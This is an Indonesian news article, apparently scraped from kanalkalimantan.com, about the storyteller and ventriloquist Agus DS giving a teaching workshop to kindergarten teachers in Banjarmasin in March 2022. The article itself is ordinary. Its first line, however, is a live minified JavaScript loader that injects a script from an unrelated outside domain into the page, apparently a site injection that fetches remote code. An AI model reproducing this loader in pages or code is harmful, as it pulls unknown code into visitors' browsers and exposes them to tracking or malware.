(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Beginilah pose ‘V’ yang diberikan Agus DS, saat Kanalkalimantan.com meminta dirinya berfoto sendiri di depan panggung di aula Dinas Perpustakan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) pada Kamis (17/3/2022) sore, usai mengisi Workshop “Meningkatkan Cara Mengajar dengan Teknik Hypnotelling dan Ventriloquist”.
Maestro of Storytelling dunia yang akrab disapa Kak Agus DS datang dan menyapa langsung puluhan guru Taman Kanak-kanak (TK) dan Pendidikan Anak Usia Dini (PAUD) se Kota Banjamasin, Banjarbaru dan Kabupaten Banjar. Ia mendongeng hingga menyanyi bersama sembari memberikan kiat-kiat seorang guru dalam mengajarkan murid di sekolah.
Selama 42 tahun sudah pemilik nama lengkap Agus Djafar Sodik menjalani profesi sebagai pendongeng. Tak hanya segudang lebih pengalaman yang ia dapatkan dari mendongeng, Agus DS juga turut mendedikasikan dirinya menjadi seorang motivator, guru hingga menjadi praktisi anak-anak berkebutuhan khusus.
“Sampai hari ini saya sudah mendongeng selama 42 tahun, di dalam dan di luar negeri. dan saya sempat tinggal di Jepang 11 tahun untuk mengambil gelar sebagai Master Of Storytelling,” tuturnya.
Baca juga : HET Rp14 Ribu Dicabut, Kadisdag Banjarbaru: Nanti Ada Program Migor Curah
Siapa sangka, dirinya yang dulu hanya seorang penjual koran dan es keliling, kini sudah berkeliling Indonesia dengan mengunjungi hampir semua daerah hanya untuk mendongeng.
“Padahal kalau mau ingat cerita siapa sebenarnya Agus DS ini adalah ketika ia umur sembilan tahun keliling kampung jualan koran jualan es dan bahkan ikut dagang komik di kios di statius Tanjung Priuk Jakarta,” ucap Agus DS, saat menceritakan pengalaman masa kecilnya kepada peserta workshop, Kamis (17/3/2022).
Dirinya pun turut menjadi penggiat Gerakan Pemasyarakatan Minat Baca, juga sebagai tutor atau pelatih di bidang mendongeng dan pengolahan teknik suara perut dalam keahlian ventriloquist dan panggung boneka, juga sebagai penulis.
“Sekitar tahun 2009 saya ditawari menulis buku. Alhamdulillah sampai Ramadhan tahun lalu saya sudah menulis 29 buku,” sebutnya.
Baca juga : Giliran 5 Kelurahan di HSU Mulai Terapkan Tanda Tangan Elektronik
Selama 42 tahun lebih bukan waktu yang singkat, berbagai penghargaan pun telah ia dapatkan dari penaklukannya dalam perlombaan-perlombaan mendongeng di tingkat nasional hingga internasional. Bahkan dirinya digelari oleh para pendongeng dan para ventriloquist sebagai legend-nya.
Bercerita banyak dalam kegiatan sehari di Dispersip Kalsel, terlihat semangat Agus DS tidak pernah surut sekalipun. Sebab terlalu asyik menekuni dunianya sebagai pendongeng, walau perkembangan dunia teknologi dan digital makin canggih, namun dunia perdongengan di Indonesia harus samakin pesat.
“Nah saya begitu fokus kepada dunia mendongeng ga tau kenapa suka,” ucapnya.
Dirinya mengungkapkan semangatnya dengan mencoba hal-hal baru yang berkaitan teknolongi seperti dengan memanfaatkan media sosial sebagai sarana dirinya mengembangkan serta mengenalkan dunia dongeng lebih luas lagi.
Baca juga : HET Satu Harga Dicabut, Migor di Banjarbaru Tiba-tiba Berlimpah, Tapi Mahal!
Puluhan guru yang mengikuti workshop di aula Dispersip bukan saja antusias, tetapi sangat takjub alias kagum pada rentang pengalaman dan perjalanan Agus DS yang mengabdikan dirinya di dunia dongeng puluhan tahun.
Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel, Wildan Akhyar menyampaikan pihaknya akan terus berfokus untuk mendatangkan mendatangkan tokoh-tokoh literasi, salah satunya pendongeng.
“Tentu salah satu program kami dari dispersip memang adalah mendatangkan tokoh-tokoh literasi kemudian penuli-penulis best seller kemudian yang ketiga adalah pendongeng-pendongen. Untuk pendongeng sendiri, kami terus terang sangat konsen mendatangkan pendongeng,” ujar Wildan ditemui saat acara workshop.
Dirinya menyampaikan pentingnya penanaman cinta buku terhadap anak-anak agar dapat menciptakan generasi muda yang tentu nantinya berguna pada kemudian hari. Yang mana dari buku tentu akan banyak didapatkan ilmu untuk menuntun masa depan anak-anak.
“Karena kami sangat menyadari bahwa dari sejak dini perlu kita menanamkan cinta buku dan menyenangi buku sehingga kita dapat menciptakan anak-anak yang suka membaca buku dengan harapan mereka mendapatkan ilmu yang tiada hentinya,” tutupnya. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.